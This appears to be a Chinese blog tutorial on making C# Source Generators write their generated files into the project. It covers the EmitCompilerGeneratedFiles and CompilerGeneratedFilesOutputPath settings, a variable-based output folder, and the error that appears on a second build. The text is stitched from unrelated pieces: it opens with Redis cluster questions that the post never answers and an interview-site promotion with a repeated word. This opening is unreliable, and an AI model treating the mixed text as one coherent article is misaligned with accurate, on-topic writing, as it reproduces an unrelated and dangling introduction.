通过以上方式我们已经可以搭建 Redis 集群了,那么如何给集群动态添加和删除节点呢?Redis 集群中如何实现数据重新分片呢?Redis 故障转移的流程是啥?Redis 如何选择主节点的?

本文已收录到我的面试小站
www.javacn.site
,其中包含的内容有:Redis、JVM、并发、并发、MySQL、Spring、Spring MVC、Spring Boot、Spring Cloud、MyBatis、设计模式、消息队列等模块。

上一篇文章学习了通过获取和解析swagger.json的内容,来生成API的请求响应类。
但是其中无法移动与编辑。
那么本文将介绍如何输出生成的文件。

EmitCompilerGeneratedFiles

在控制台程序中,的PropertyGroup添加
true
再次编译,文件将会输出到obj/Debug/net8.0/generated/GenerateClassFromSwagger.Analysis/GenerateClassFromSwagger.Analysis.ClassFromSwaggerGenerator目录下。
打开目录我们可以看到如下文件:
image.png

指定生成目录

前面生成的文件在obj目录下,多少有一些不方便,那么如何指定输出目录呢。
可以通过添加CompilerGeneratedFilesOutputPath到PropertyGroup中来指定我们的输出目录。
如这里配置输出目录为SwaggerEntities:

<PropertyGroup>
  <OutputType>Exe</OutputType>
  <TargetFramework>net8.0</TargetFramework>
  <ImplicitUsings>enable</ImplicitUsings>
  <Nullable>enable</Nullable>
  <EmitCompilerGeneratedFiles>true</EmitCompilerGeneratedFiles>
  <CompilerGeneratedFilesOutputPath>SwaggerEntities</CompilerGeneratedFilesOutputPath>
</PropertyGroup>

再次编译项目,可以看到文件输出在我们的项目内。
image.png
此时打开文件也是可编辑的状态。
image.png

动态目录

除了上面的方法,还可以通过一些环境变量来指定文件输出的目录。

	<PropertyGroup>
		<OutputType>Exe</OutputType>
		<TargetFramework>net8.0</TargetFramework>
		<ImplicitUsings>enable</ImplicitUsings>
		<Nullable>enable</Nullable>
		<EmitCompilerGeneratedFiles>true</EmitCompilerGeneratedFiles>
		<GeneratedFolder>Generated</GeneratedFolder>
		<CompilerGeneratedFilesOutputPath>$(GeneratedFolder)\$(TargetFramework)</CompilerGeneratedFilesOutputPath>
	</PropertyGroup>

比如我们添加
Generated
到PropertyGroup中,CompilerGeneratedFilesOutputPath的内容改成
$(GeneratedFolder)$(TargetFramework),那么我们的输出目录将变成Generated\net8.0。
image.png
利用这一点我们可以灵活的输出我们的代码文件。

缺点

通过这种方式也有一个缺点,就是我们只能编译一次成功。第二次则会出现报错提示。
image.png
所以这种方式适合需要修改输出文件和并且把文件移动到别的位置的情况。

结语

本文介绍了Source Generators生成和输出文件的方式。利用这些功能,我们可以灵活选择是否需要输出代码文件到我们的项目中。

本文代码仓库地址https://github.com/fanslead/Learn-SourceGenerator